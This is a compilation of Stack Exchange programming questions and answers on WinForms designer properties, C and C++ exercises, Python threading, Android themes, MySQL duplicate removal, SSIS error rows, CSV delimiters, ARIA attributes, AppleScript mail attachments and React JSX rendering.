问:
Prevent hardcoded values in Winform designer file while using User Controls
I am trying to include a calendar like custom user control that picks month and year. In the user control code I am setting two properties, Month and Year to current month and year.

```<code>public MonthPicker()
    {
        InitializeComponent();
        m_MonthLabels = new Label[]
        {
        lblJanuary,
        lblFebruary,
        lblMarch,
        lblApril,
        lblMay,
        lblJune,
        lblJuly,
        lblAugust,
        lblSeptember,
        lblOctober,
        lblNovember,
        lblDecember
        };

        m_NotSelected = new Font("Sans Serif", 8.25F, FontStyle.Regular);
        m_Selected = new Font("Sans Serif", 8.25F, FontStyle.Bold);
        Month = DateTime.Now.Month;
        Year = DateTime.Now.Year;
        lblYear.Text = Year.ToString();
        groupBox2.Visible = false;
        groupBox1.Height = 20;
        CalendarIsDisplayed = false;
        CalendarIsNotChanged = false;
        SetMonthLabelSelected(Month);
    }
</code>```

However, when I include it in my Application form, the designer takes hard coded values for Month and Year. Consequently, when the month changes it still shows me older month.

```<code>        // tsMonthPicker
        //
        this.tsMonthPicker.BackColor = System.Drawing.SystemColors.Control;
        this.tsMonthPicker.CalendarIsDisplayed = false;
        this.tsMonthPicker.CalendarIsNotChanged = false;
        this.tsMonthPicker.Location = new System.Drawing.Point(104, 14);
        this.tsMonthPicker.Margin = new System.Windows.Forms.Padding(0);
        this.tsMonthPicker.Month = 1;
        this.tsMonthPicker.Name = "tsMonthPicker";
        this.tsMonthPicker.Size = new System.Drawing.Size(215, 20);
        this.tsMonthPicker.TabIndex = 6;
        this.tsMonthPicker.Value = new System.DateTime(2017, 1, 1, 0, 0, 0, 0);
        this.tsMonthPicker.Year = 2017;
        this.tsMonthPicker.Change += new Time_and_Billing_System.MonthPicker.MonthPickerChangeHandler(this.tsMonthPicker_Changed);
        this.tsMonthPicker.Load += new System.EventHandler(this.tsMonthPicker_Load);
</code>```

How do I change my code in user control so that the form designer file automatically takes -

```<code>this.tsMonthPicker.Month = System.DateTime.Now.Month;
this.tsMonthPicker.Year = System.DateTime.Now.Year;
</code>```

答:
Put these two lines in the Form_Load method, for the form in which this MonthPicker is embedded.

```<code>    private void Form1_Load(object sender, EventArgs e)
    {
        this.tsMonthPicker.Month = System.DateTime.Now.Month;
        this.tsMonthPicker.Year = System.DateTime.Now.Year;
    }
</code>```

In the Object Viewer, while the Form object is chosen, select the Events view (Lightning Bolt), find Load in the list, double-click that space, and this method will appear in the code.

Body:
I am trying to include a calendar like custom user control that picks month and year. In the user control code I am setting two properties, Month and Year to current month and year.

public MonthPicker()
    {
        InitializeComponent();
        m_MonthLabels = new Label[]
        {
        lblJanuary,
        lblFebruary,
        lblMarch,
        lblApril,
        lblMay,
        lblJune,
        lblJuly,
        lblAugust,
        lblSeptember,
        lblOctober,
        lblNovember,
        lblDecember
        };

        m_NotSelected = new Font("Sans Serif", 8.25F, FontStyle.Regular);
        m_Selected = new Font("Sans Serif", 8.25F, FontStyle.Bold);
        Month = DateTime.Now.Month;
        Year = DateTime.Now.Year;
        lblYear.Text = Year.ToString();
        groupBox2.Visible = false;
        groupBox1.Height = 20;
        CalendarIsDisplayed = false;
        CalendarIsNotChanged = false;
        SetMonthLabelSelected(Month);
    }

However, when I include it in my Application form, the designer takes hard coded values for Month and Year. Consequently, when the month changes it still shows me older month.

        // tsMonthPicker
        //
        this.tsMonthPicker.BackColor = System.Drawing.SystemColors.Control;
        this.tsMonthPicker.CalendarIsDisplayed = false;
        this.tsMonthPicker.CalendarIsNotChanged = false;
        this.tsMonthPicker.Location = new System.Drawing.Point(104, 14);
        this.tsMonthPicker.Margin = new System.Windows.Forms.Padding(0);
        this.tsMonthPicker.Month = 1;
        this.tsMonthPicker.Name = "tsMonthPicker";
        this.tsMonthPicker.Size = new System.Drawing.Size(215, 20);
        this.tsMonthPicker.TabIndex = 6;
        this.tsMonthPicker.Value = new System.DateTime(2017, 1, 1, 0, 0, 0, 0);
        this.tsMonthPicker.Year = 2017;
        this.tsMonthPicker.Change += new Time_and_Billing_System.MonthPicker.MonthPickerChangeHandler(this.tsMonthPicker_Changed);
        this.tsMonthPicker.Load += new System.EventHandler(this.tsMonthPicker_Load);

How do I change my code in user control so that the form designer file automatically takes -

this.tsMonthPicker.Month = System.DateTime.Now.Month;
this.tsMonthPicker.Year = System.DateTime.Now.Year;

Body:
Put these two lines in the Form_Load method, for the form in which this MonthPicker is embedded.

    private void Form1_Load(object sender, EventArgs e)
    {
        this.tsMonthPicker.Month = System.DateTime.Now.Month;
        this.tsMonthPicker.Year = System.DateTime.Now.Year;
    }

In the Object Viewer, while the Form object is chosen, select the Events view (Lightning Bolt), find Load in the list, double-click that space, and this method will appear in the code.


来源: stackexchange

问:
how to find the first repeated occurance of the character inside the same string in c
How do I get the first occurance of the repeated character to print only that character.it doesnt matter with it should be case sensitive or insensitive.
e.g For input= "opuott" Answer=o/O
        input= "kuttu" Answer=t/T</p>

```<code>#include<stdio.h>
#include<string.h>
int main(){
        int i,j,diff=0,min=0;
        char arr[100],var;
        printf("Enter the string to check for: ");
        scanf("%s",&arr);
        for(i=0;i<strlen(arr);i++){
                arr[i]=toupper(arr[i]);
                printf("%c ",arr[i]);
        }
        printf("\n");
        for(i=0;i<strlen(arr);i++){
                for(j=i+1;j<strlen(arr);j++){
                        if(arr[i]==arr[j]){
                                diff=j-i;
                                //THIS IF BLOCK IS USED FOR FIRST CONDITION FAILURE OF MIN AND DIFFERENCE
                                if(diff > min){
                                        min=diff;
                                        var=arr[i];
                                }
                                //THIS ELSE BLOCK IS USED FOR REGULAR CHECK FOR THE MIN AND DIFF AND ADJUST MIN TO DIFF ACCORDINGLY
                                else if(diff < min){
                                        min=diff;
                                        var=arr[i];
                                }
                        }
                }
        }
        printf("Final Answer : %c\n",var);
        return 0;
}
</code>```

答:
In C,a case sensitive solution can be something like this:

```<code>    #include<stdio.h>
    #include<string.h>
    #include <stdbool.h>

    int repeated_char(char arr[],bool char_arr[],size_t len){
       int i;
       for(i=0;i<len;i++){
             if (char_arr[arr[i]] == true)
                 return arr[i];
             else
                 char_arr[arr[i]] = true;
        }
       return -1;
    }

    int main(){

       char arr[100];
       bool char_arr [256];

       printf("Enter the string to check for: ");
      scanf("%100s",&arr);
      size_t arr_len = strlen(arr);
      memset(char_arr,false,sizeof(char_arr));
      char ans = repeated_char(arr,char_arr,arr_len);
      if (ans == -1)
          printf("No repeated chars were found");
      else
          printf("%c",ans);
    }
</code>```

Input:"nabc-=1nabc"

Output:n

ContentLicense: CC BY-SA 3.0

Body:
How do I get the first occurance of the repeated character to print only that character.it doesnt matter with it should be case sensitive or insensitive.
e.g For input= "opuott" Answer=o/O
        input= "kuttu" Answer=t/T

#include<stdio.h>
#include<string.h>
int main(){
        int i,j,diff=0,min=0;
        char arr[100],var;
        printf("Enter the string to check for: ");
        scanf("%s",&arr);
        for(i=0;i<strlen(arr);i++){
                arr[i]=toupper(arr[i]);
                printf("%c ",arr[i]);
        }
        printf("\n");
        for(i=0;i<strlen(arr);i++){
                for(j=i+1;j<strlen(arr);j++){
                        if(arr[i]==arr[j]){
                                diff=j-i;
                                //THIS IF BLOCK IS USED FOR FIRST CONDITION FAILURE OF MIN AND DIFFERENCE
                                if(diff > min){
                                        min=diff;
                                        var=arr[i];
                                }
                                //THIS ELSE BLOCK IS USED FOR REGULAR CHECK FOR THE MIN AND DIFF AND ADJUST MIN TO DIFF ACCORDINGLY
                                else if(diff < min){
                                        min=diff;
                                        var=arr[i];
                                }
                        }
                }
        }
        printf("Final Answer : %c\n",var);
        return 0;
}

Body:
In C,a case sensitive solution can be something like this:

    #include<stdio.h>
    #include<string.h>
    #include <stdbool.h>

    int repeated_char(char arr[],bool char_arr[],size_t len){
       int i;
       for(i=0;i<len;i++){
             if (char_arr[arr[i]] == true)
                 return arr[i];
             else
                 char_arr[arr[i]] = true;
        }
       return -1;
    }

    int main(){

       char arr[100];
       bool char_arr [256];

       printf("Enter the string to check for: ");
      scanf("%100s",&arr);
      size_t arr_len = strlen(arr);
      memset(char_arr,false,sizeof(char_arr));
      char ans = repeated_char(arr,char_arr,arr_len);
      if (ans == -1)
          printf("No repeated chars were found");
      else
          printf("%c",ans);
    }

Input:"nabc-=1nabc"

Output:n


问:
How to find the second minimum number without using arrays or loops
I tried to write a program that receive from the user 5 integers and print the second minimum number.

Here is a sample of what I've tried:

```<code>#include <iostream>
using namespace std;
int main () {
int a,b,c,d,e;
cin>>a>>b>>c>>d>>e;
if (a>b && a<c && a<d && a<e)
    cout<<a<<endl;
if (b>a && b<c && b<d && b<e)
    cout<<b<<endl;
if (c>a && c<b && c<d && c<e)
    cout<<c<<endl;
if (d>a && d<b && d<c && d<e)
    cout <<d<<endl;
if (e>a && e<b && e<c && e<d)
cout <<e<<endl;
return 0;

}
</code>```

When I enter 1 2 3 4 5 it prints the second minimum, but when I enter

5 4 3 2 1 Nothing will print on the screen. What am I doing wrong with this? Is there any other way to write my program?

答:
```<code>#include <set>

std::set<int> values = { a, b, c, d, e }; // not an array.
int second_min = *std::next(values.begin(), 1); // not a loop
</code>```

Body:
I tried to write a program that receive from the user 5 integers and print the second minimum number.

Here is a sample of what I've tried:

#include <iostream>
using namespace std;
int main () {
int a,b,c,d,e;
cin>>a>>b>>c>>d>>e;
if (a>b && a<c && a<d && a<e)
    cout<<a<<endl;
if (b>a && b<c && b<d && b<e)
    cout<<b<<endl;
if (c>a && c<b && c<d && c<e)
    cout<<c<<endl;
if (d>a && d<b && d<c && d<e)
    cout <<d<<endl;
if (e>a && e<b && e<c && e<d)
cout <<e<<endl;
return 0;

}

When I enter 1 2 3 4 5 it prints the second minimum, but when I enter

5 4 3 2 1 Nothing will print on the screen. What am I doing wrong with this? Is there any other way to write my program?


问:
Queue.Queue vs semaphores, locks, etc. in multithreaded Python code

The principal challenge of
  multi-threaded applications is
  coordinating threads that share data
  or other resources. To that end, the
  threading module provides a number of
  synchronization primitives including
  locks, events, condition variables,
  and semaphores.

While those tools are powerful, minor
  design errors can result in problems
  that are difficult to reproduce. So,
  the preferred approach to task
  coordination is to concentrate all
  access to a resource in a single
  thread and then use the Queue module
  to feed that thread with requests from
  other threads. Applications using
  Queue.Queue objects for inter-thread
  communication and coordination are
  easier to design, more readable, and
  more reliable.

It, basically, states to use Queue.Queue for inter-thread communication and coordination, instead of the powerful tools such as semaphores, locks, etc.

My question is, what's the drawback of the suggested method?  When should one use the more "powerful tools" instead, and why?

Edit

To be clear, I know what semaphores are.  I was just wondering why the Python documentation suggests to use the Queue.Queue method instead of the "powerful tools" -- I'm simply using the documentation's own verbiage, not coming up with my own.

答:
Take a look at the source code for Python's thread-safe queue. The queue class builds a useful abstraction from 3 Conditions and a Lock, correctly.

I wouldn't say coordination is the hardest problem. In shared-state multithreading the hardest thing is preventing threads from "sharing". You always have to look out for non-deterministic behaviour due to threads accidentally sharing and stomping on each other's data.

So, I recommend you don't use threads at all. You should use the lower-level tools when you feel you haven't spent enough time tracking down heisenbugs, but if there's any way you can get away with using a simple queue, go for it.

ContentLicense: CC BY-SA 2.5


问:
How do I remove the title bar only for one Activity?
How to get one single ACTIVITY without Title?

```<code><style name="AppTheme" parent="Theme.AppCompat.Light.NoActionBar">
    <!-- Customize your theme here. -->
    <item name="colorPrimary">@color/colorPrimary</item>
    <item name="colorPrimaryDark">@color/colorPrimaryDark</item>
    <item name="colorAccent">@color/colorAccent</item>
</style>
</code>```

This code is in styles.xml ! when i am using "NoActionBar" then all activity show no title bar,

答:
You can define one another style into your styles.xml , where you can use NoActionBar in Theme.

```<code><style name="AppThemeWithoutActionBar"
    parent="Theme.AppCompat.Light.NoActionBar">
    <!-- Customize your theme here. -->
    <item name="colorPrimary">@color/colorPrimary</item>
    <item name="colorPrimaryDark">@color/colorPrimaryDark</item>
    <item name="colorAccent">@color/colorAccent</item>
</style>
</code>```

and then go to your project's Manifest file , and then
you can apply this new style (without an ActionBar) only for the specific Activity that requires it.

```<code><activity
     android:name=".YourActivityWhereYouDoNotWantToolbar"
     android:theme="@style/AppThemeWithoutActionBar">
</code>```

It will solve your problem.

Body:
How to get one single ACTIVITY without Title?

This code is in styles.xml ! when i am using "NoActionBar" then all activity show no title bar,

Body:
You can define one another style into your styles.xml , where you can use NoActionBar in Theme.

<style name="AppThemeWithoutActionBar"
    parent="Theme.AppCompat.Light.NoActionBar">
    <!-- Customize your theme here. -->
    <item name="colorPrimary">@color/colorPrimary</item>
    <item name="colorPrimaryDark">@color/colorPrimaryDark</item>
    <item name="colorAccent">@color/colorAccent</item>
</style>

and then go to your project's Manifest file , and then
you can apply this new style (without an ActionBar) only for the specific Activity that requires it.

<activity
     android:name=".YourActivityWhereYouDoNotWantToolbar"
     android:theme="@style/AppThemeWithoutActionBar">

It will solve your problem.


问:
Duplicate removal not working on table with many NULLs
Perhaps I've been staring at the screen too long but I have the following [legacy] table I'm messing with:

```<code>describe t3_test;
+--------------------+------------------+------+-----+---------+----------------+
| Field              | Type             | Null | Key | Default | Extra          |
+--------------------+------------------+------+-----+---------+----------------+
| provnum            | varchar(24)      | YES  | MUL | NULL    |                |
| trgt_mo            | datetime         | YES  |     | NULL    |                |
| mcare              | varchar(2)       | YES  |     | NULL    |                |
| bed2prsn_asst      | varchar(2)       | YES  |     | NULL    |                |
| trnsfr2prsn_asst   | varchar(2)       | YES  |     | NULL    |                |
| tlt2prsn_asst      | varchar(2)       | YES  |     | NULL    |                |
| hygn2prsn_asst     | varchar(2)       | YES  |     | NULL    |                |
| bath2psrn_asst     | varchar(2)       | YES  |     | NULL    |                |
| ampmcare2prsn_asst | varchar(2)       | YES  |     | NULL    |                |
| any2prsn_asst      | varchar(2)       | YES  |     | NULL    |                |
| n                  | float            | YES  |     | NULL    |                |
| pct                | float            | YES  |     | NULL    |                |
| trgt_qtr           | varchar(12)      | YES  |     | NULL    |                |
| recno              | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| enddate            | date             | YES  |     | NULL    |                |
+--------------------+------------------+------+-----+---------+----------------+
15 rows in set (0.00 sec)
</code>```

I have data that looks like this..

```<code>"555223","2008-10-01 00:00:00",NULL,"1",NULL,NULL,NULL,NULL,NULL,NULL,"40","93.0233","2008Q4","5767343","2008-12-31"
"555223","2008-10-01 00:00:00",NULL,"1",NULL,NULL,NULL,NULL,NULL,NULL,"40","93.0233","2008Q4","4075309","2008-12-31"
"555223","2008-10-01 00:00:00",NULL,"0",NULL,NULL,NULL,NULL,NULL,NULL,"3","6.97674","2008Q4","4075308","2008-12-31"
"555223","2008-10-01 00:00:00",NULL,"0",NULL,NULL,NULL,NULL,NULL,NULL,"3","6.97674","2008Q4","5767342","2008-12-31"
"555223","2008-10-01 00:00:00","N",NULL,"1",NULL,NULL,NULL,NULL,NULL,"36","83.7209","2008Q4","4075327","2008-12-31"
"555223","2008-10-01 00:00:00","N","1",NULL,NULL,NULL,NULL,NULL,NULL,"36","83.7209","2008Q4","4075323","2008-12-31"
"555223","2008-10-01 00:00:00","Y","1",NULL,NULL,NULL,NULL,NULL,NULL,"4","9.30233","2008Q4","4075325","2008-12-31"
"555223","2008-10-01 00:00:00",NULL,NULL,"0",NULL,NULL,NULL,NULL,NULL,"3","6.97674","2008Q4","4075310","2008-12-31"
"555223","2008-10-01 00:00:00",NULL,NULL,"1",NULL,NULL,NULL,NULL,NULL,"40","93.0233","2008Q4","4075311","2008-12-31"
</code>```

The first two lines of the table clearly appear to be dupes (minus the A.I. index "recno"). I've tried a half dozen dupe-removal routines and they are not automatically removed.

At this point I am not sure what exactly is wrong?  Is it possible there's an invisible character somewhere?  Is it possible a letter is in a different character encoding?  When I dump the data to CSV as is listed, it doesn't look any different.

Do you have a delete routine that would work on this file structure that would remove anything that is a dupe (minus the recno field)?  I have been staring at this for two days and for some reason, it escapes me.  (btw, I am aware of the column name anomaly for bathd2psrn_asst - that's not it)

This (original) table has over 13 million records in it.  And is over 3GB in size so I'm looking for the most efficient way to kill dupes.. Any ideas?

Here's an example of one of the dupe-killing techniques I used that did not work:

```<code>DELETE a FROM t3_test as a, t3_test as b WHERE
(a.provnum=b.provnum)
AND (a.trgt_mo=b.trgt_mo OR a.trgt_mo IS NULL AND b.trgt_mo IS NULL)
AND (a.mcare=b.mcare OR a.mcare IS NULL AND b.mcare IS NULL)
AND (a.bed2prsn_asst=b.bed2prsn_asst OR a.bed2prsn_asst IS NULL AND b.bed2prsn_asst IS NULL)
AND (a.trnsfr2prsn_asst=b.trnsfr2prsn_asst OR a.trnsfr2prsn_asst IS NULL AND b.trnsfr2prsn_asst IS NULL)
AND (a.tlt2prsn_asst=b.tlt2prsn_asst OR a.tlt2prsn_asst IS NULL AND b.tlt2prsn_asst IS NULL)
AND (a.hygn2prsn_asst=b.hygn2prsn_asst OR a.hygn2prsn_asst IS NULL AND b.hygn2prsn_asst IS NULL)
AND (a.bath2psrn_asst=b.bath2psrn_asst OR a.bath2psrn_asst IS NULL AND b.bath2psrn_asst IS NULL)
AND (a.ampmcare2prsn_asst=b.ampmcare2prsn_asst OR a.ampmcare2prsn_asst IS NULL AND b.ampmcare2prsn_asst IS NULL)
AND (a.any2prsn_asst=b.any2prsn_asst OR a.any2prsn_asst IS NULL AND b.any2prsn_asst IS NULL)
AND (a.n=b.n OR a.n IS NULL AND b.n IS NULL)
AND (a.pct=b.pct OR a.pct IS NULL AND b.pct IS NULL)
AND (a.trgt_qtr=b.trgt_qtr OR a.trgt_qtr IS NULL AND b.trgt_qtr IS NULL)
AND (a.enddate=b.enddate OR a.enddate IS NULL AND b.enddate IS NULL)
AND (a.recno>b.recno);
</code>```

答:
For such a large table, delete can be quite inefficient -- all the logging needed for the deletes is very cumbersome.

I might recommend that you try the truncate/insert approach:

```<code>create table temp_t3_test as (
     select provnum, targ_mo, . . .,
            min(recno) as recno,
            enddate
     from t3_test
     group by provnum, targ_mo, . . ., enddate;

truncate table t3_test;

insert into t3_test(provnum, targ_mo, . . . , recno, enddate)
    select *
    from temp_t3_test;
</code>```

Body:
Perhaps I've been staring at the screen too long but I have the following [legacy] table I'm messing with:

describe t3_test;
+--------------------+------------------+------+-----+---------+----------------+
| Field              | Type             | Null | Key | Default | Extra          |
+--------------------+------------------+------+-----+---------+----------------+
| provnum            | varchar(24)      | YES  | MUL | NULL    |                |
| trgt_mo            | datetime         | YES  |     | NULL    |                |
| mcare              | varchar(2)       | YES  |     | NULL    |                |
| bed2prsn_asst      | varchar(2)       | YES  |     | NULL    |                |
| trnsfr2prsn_asst   | varchar(2)       | YES  |     | NULL    |                |
| tlt2prsn_asst      | varchar(2)       | YES  |     | NULL    |                |
| hygn2prsn_asst     | varchar(2)       | YES  |     | NULL    |                |
| bath2psrn_asst     | varchar(2)       | YES  |     | NULL    |                |
| ampmcare2prsn_asst | varchar(2)       | YES  |     | NULL    |                |
| any2prsn_asst      | varchar(2)       | YES  |     | NULL    |                |
| n                  | float            | YES  |     | NULL    |                |
| pct                | float            | YES  |     | NULL    |                |
| trgt_qtr           | varchar(12)      | YES  |     | NULL    |                |
| recno              | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| enddate            | date             | YES  |     | NULL    |                |
+--------------------+------------------+------+-----+---------+----------------+
15 rows in set (0.00 sec)

I have data that looks like this..

"555223","2008-10-01 00:00:00",NULL,"1",NULL,NULL,NULL,NULL,NULL,NULL,"40","93.0233","2008Q4","5767343","2008-12-31"
"555223","2008-10-01 00:00:00",NULL,"1",NULL,NULL,NULL,NULL,NULL,NULL,"40","93.0233","2008Q4","4075309","2008-12-31"
"555223","2008-10-01 00:00:00",NULL,"0",NULL,NULL,NULL,NULL,NULL,NULL,"3","6.97674","2008Q4","4075308","2008-12-31"
"555223","2008-10-01 00:00:00",NULL,"0",NULL,NULL,NULL,NULL,NULL,NULL,"3","6.97674","2008Q4","5767342","2008-12-31"
"555223","2008-10-01 00:00:00","N",NULL,"1",NULL,NULL,NULL,NULL,NULL,"36","83.7209","2008Q4","4075327","2008-12-31"
"555223","2008-10-01 00:00:00","N","1",NULL,NULL,NULL,NULL,NULL,NULL,"36","83.7209","2008Q4","4075323","2008-12-31"
"555223","2008-10-01 00:00:00","Y","1",NULL,NULL,NULL,NULL,NULL,NULL,"4","9.30233","2008Q4","4075325","2008-12-31"
"555223","2008-10-01 00:00:00",NULL,NULL,"0",NULL,NULL,NULL,NULL,NULL,"3","6.97674","2008Q4","4075310","2008-12-31"
"555223","2008-10-01 00:00:00",NULL,NULL,"1",NULL,NULL,NULL,NULL,NULL,"40","93.0233","2008Q4","4075311","2008-12-31"

The first two lines of the table clearly appear to be dupes (minus the A.I. index "recno"). I've tried a half dozen dupe-removal routines and they are not automatically removed.

At this point I am not sure what exactly is wrong?  Is it possible there's an invisible character somewhere?  Is it possible a letter is in a different character encoding?  When I dump the data to CSV as is listed, it doesn't look any different.

Do you have a delete routine that would work on this file structure that would remove anything that is a dupe (minus the recno field)?  I have been staring at this for two days and for some reason, it escapes me.  (btw, I am aware of the column name anomaly for bathd2psrn_asst - that's not it)

This (original) table has over 13 million records in it.  And is over 3GB in size so I'm looking for the most efficient way to kill dupes.. Any ideas?

Here's an example of one of the dupe-killing techniques I used that did not work:

DELETE a FROM t3_test as a, t3_test as b WHERE
(a.provnum=b.provnum)
AND (a.trgt_mo=b.trgt_mo OR a.trgt_mo IS NULL AND b.trgt_mo IS NULL)
AND (a.mcare=b.mcare OR a.mcare IS NULL AND b.mcare IS NULL)
AND (a.bed2prsn_asst=b.bed2prsn_asst OR a.bed2prsn_asst IS NULL AND b.bed2prsn_asst IS NULL)
AND (a.trnsfr2prsn_asst=b.trnsfr2prsn_asst OR a.trnsfr2prsn_asst IS NULL AND b.trnsfr2prsn_asst IS NULL)
AND (a.tlt2prsn_asst=b.tlt2prsn_asst OR a.tlt2prsn_asst IS NULL AND b.tlt2prsn_asst IS NULL)
AND (a.hygn2prsn_asst=b.hygn2prsn_asst OR a.hygn2prsn_asst IS NULL AND b.hygn2prsn_asst IS NULL)
AND (a.bath2psrn_asst=b.bath2psrn_asst OR a.bath2psrn_asst IS NULL AND b.bath2psrn_asst IS NULL)
AND (a.ampmcare2prsn_asst=b.ampmcare2prsn_asst OR a.ampmcare2prsn_asst IS NULL AND b.ampmcare2prsn_asst IS NULL)
AND (a.any2prsn_asst=b.any2prsn_asst OR a.any2prsn_asst IS NULL AND b.any2prsn_asst IS NULL)
AND (a.n=b.n OR a.n IS NULL AND b.n IS NULL)
AND (a.pct=b.pct OR a.pct IS NULL AND b.pct IS NULL)
AND (a.trgt_qtr=b.trgt_qtr OR a.trgt_qtr IS NULL AND b.trgt_qtr IS NULL)
AND (a.enddate=b.enddate OR a.enddate IS NULL AND b.enddate IS NULL)
AND (a.recno>b.recno);

Body:
For such a large table, delete can be quite inefficient -- all the logging needed for the deletes is very cumbersome.

I might recommend that you try the truncate/insert approach:

create table temp_t3_test as (
     select provnum, targ_mo, . . .,
            min(recno) as recno,
            enddate
     from t3_test
     group by provnum, targ_mo, . . ., enddate;

truncate table t3_test;

insert into t3_test(provnum, targ_mo, . . . , recno, enddate)
    select *
    from temp_t3_test;


问:
Issue while redirecting bad row - SSIS
I'm Importing data from a flat file source (text comma delimited) into a table, but the data contains comma in certain fields causing the package to fail. I have added a file destination to log the bad rows to revisit later, but the bad rows don't get logged and the only part of the data get loaded in the table. I'm attaching below the image of the package and the incomplete execution screen. It looks like a simple thing to accomplish but I just can't figure out what causing the problem. Can anyone help?

Thanks

UPDATE

There is no error message in Progress actually. It looks like a successful run log. But it's not. The load is incomplete.

答:
First, delete the Flat File Destination. Drag a new Flat File Destination task into the Data Flow field, but don't configure it yet. Right click on your Flat File Source and go to "Show Advanced Editor". On the "Input and Output Properties" tab, make sure you have output configured under "Flat File Source Error Output". They were probably created automatically by BIDS/VS. Once you have error output columns, click "OK" to close the window.
Next, drag the red error output arrow from the source to the destination. This should bring up the "Configure Error Output" window. Make sure all the rows under "Error" and "Truncation" are set to "Redirect Row" and click "OK"
Finally, open up the Flat File Destination, and create a new connection manager. Point the connection manager to your error output file, and then set your column and row delimiters. You may also want to set a Text Delimiter.
Once you have all those pieces, your error rows should be redirected to your error output file. If not, please post back your error message(s) and sample data.</p>

Title: Issue while redirecting bad row - SSIS


问:
How to replace commas with semicolons except for commas in Quotes?
I have a csv file with commas used to separate values. I want to replace commas with semicolons via batch, but leave the commas that are inside quotations.
So for example:

```<code>012,ABC,"DE,FG",345
</code>```

must become:

```<code>012;ABC;"DE,FG";345
</code>```

How can I do that via Batch?

答:
Powershell is probably the better solution but you can use a neat hybrid batch file called ParseCSV.bat.  It allows you to specify the input and output delimiters.  The input delimiter uses a comma by default. So you only need to specify the output delimiter.</p>

```<code>ParseCSV.bat /o:; <"file.csv" >"filenew.csv"
</code>```

Body:
I have a csv file with commas used to separate values. I want to replace commas with semicolons via batch, but leave the commas that are inside quotations.
So for example:

012,ABC,"DE,FG",345

must become:

012;ABC;"DE,FG";345

How can I do that via Batch?

Body:
Powershell is probably the better solution but you can use a neat hybrid batch file called ParseCSV.bat.  It allows you to specify the input and output delimiters.  The input delimiter uses a comma by default. So you only need to specify the output delimiter.

ParseCSV.bat /o:; <"file.csv" >"filenew.csv"


问:
aria-sort on hyperlink instead of table thead th
I was reading/watching others implement sorting table and I haven't found any result if aria-sort is possible to ad on hyperlink. This is my original source code:

```<code><th scope="col" role="columnheader" aria-sort="none" aria-controls="data-form-table">Name</th>
</code>```

Is this possible to use it this way?

```<code><th scope="col" role="columnheader"><a href="products.php?sort=name&mode=asc" aria-sort="none" aria-controls="data-form-table">Name</a></th>
</code>```

答:
Maybe, but I wouldn't recommend it.

The W3C HTML validator fails anchor elements with this property.

Error: Attribute aria-sort not allowed on element a at this point.

As per the WAI-ARIA 1.1 spec, authors should use aria-sorton the th element whenever possible:

"Authors SHOULD only apply this property to table headers or grid headers."

https://www.w3.org/TR/wai-aria/states_and_properties#aria-sort

The caveat here is the word "SHOULD" which is defined in this context by RFC 2119:

SHOULD   This word, or the adjective "RECOMMENDED", mean that there
may exist valid reasons in particular circumstances to ignore a
particular item, but the full implications must be understood and
carefully weighed before choosing a different course.

https://www.rfc-editor.org/rfc/rfc2119

So, while it's not entirely prohibited, I believe that the failure of the W3C validator is sufficient cause to believe that this may present issues with assistive technology, either now or in the future.

Body:
I was reading/watching others implement sorting table and I haven't found any result if aria-sort is possible to ad on hyperlink. This is my original source code:

Name

Is this possible to use it this way?

Name


问:
Automatically adding attachments to all outgoing mail messages
A two-part newbie question, guys... I've only just discovered AppleScript and I'm hoping to automagically attach a 'pdf' file to every outgoing (sent) "Mail.app" message.

(Q1) I've got it working successfully in tests running direct from Script Editor - with the file located in the Documents folder - and I'm using:

```<code>set pdfFile_Path to ((path to documents folder as text) & "paginatedPDF.pdf")
</code>```

but the filepath bit confuses me... How would I change this line if I wanted to store my file inside a folder called "PDF's to send" on my desktop?

(Q2) How can I attach the script as a Mail.app rule (the rule options only seem to offer incoming mail message conditions, not outgoing ones)?

Any help/advice much appreciated. Thanks :-)

答: Have you tried dragging and dropping the PDF straight into your Signature?</p>

Body:
A two-part newbie question, guys... I've only just discovered AppleScript and I'm hoping to automagically attach a 'pdf' file to every outgoing (sent) "Mail.app" message.

(Q1) I've got it working successfully in tests running direct from Script Editor - with the file located in the Documents folder - and I'm using:

set pdfFile_Path to ((path to documents folder as text) & "paginatedPDF.pdf")

but the filepath bit confuses me... How would I change this line if I wanted to store my file inside a folder called "PDF's to send" on my desktop?

(Q2) How can I attach the script as a Mail.app rule (the rule options only seem to offer incoming mail message conditions, not outgoing ones)?

Any help/advice much appreciated. Thanks :-)


问:
Return JSX from function
I have a a component that needs to check for multiple options and return based on those options. Therefore I have created an outside function that is called in my component return statement to determine the format that will be returned:

render() {
    const { policy } = this.props;
    let deployment = policy.Deployment;
    let value = policy.value;
    let policyLegend = deployment.policyLegend;
    let policyObj = this.valueToPolicy(policyLegend, value);
    console.log(policyObj);
    if(policy.name == "SP4") {
      policyLegend[1].values = this.formatSp4Firmware(policyLegend[1]);
      return (

          <Form onSubmit={ (event) => this.handleSubmit(event, this.props) }>
            {
              policyLegend.map((policy) => {
                return (

{ policy.displayName }

                    { this.renderSp4Policies(policy) }

                );
              })
            }
            <Button name={ 'Submit' } type='submit'>Submit</Button>
            <Button onClick={ this.props.onCancel }>Cancel</Button>
          </Form>

      )
    }
  }```
<pre class="snippet-code-html lang-html prettyprint-override"><code><script src="https://cdnjs.cloudflare.com/ajax/libs/react/15.1.0/react.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/react/15.1.0/react-dom.min.js"></script></code>```

renderSp4Policies(policy) {
    if(policy.displayName == "Firmware Options") {
      let firmwareDropdownNames = this.formatFirmawareDropdownNames(policy);
      let toggles = policy.values[0][Object.keys(policy.values[0])];
      let toggleOptions = []
      Object.keys(toggles).map(toggle => {
       if(typeof(toggles[toggle]) == "boolean"){
          var obj = {};
          obj[toggle] = toggles[toggle];
        toggleOptions.push(obj);
        }
      })
      return (
        toggleOptions.map(toggleOption => {
          let toggleName = Object.keys(toggleOption).toString();
          return (
            <Form.Field key={ toggleName }>
              { toggleName }
              <Checkbox toggle />
            </Form.Field>
          )
        })
      )
    } else {
        return (
          policy.values.map(value => {
            return(
              <Form.Field key={ value.name }>
                { value.displayName || value.name }
                <Checkbox toggle />
              </Form.Field>
            )
          }
        )
      )
    }
  }```
<pre class="snippet-code-html lang-html prettyprint-override"><code><script src="https://cdnjs.cloudflare.com/ajax/libs/react/15.1.0/react.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/react/15.1.0/react-dom.min.js"></script></code>```

EDIT

I have applied some of the answers given with moderate success.

Within renderSp4Policies what is being returned in the else statement displays, but the beginning if(policy.displayName == "Firmware Options") returns nothing.

Appreciate all advice, thank you in advance!

答:
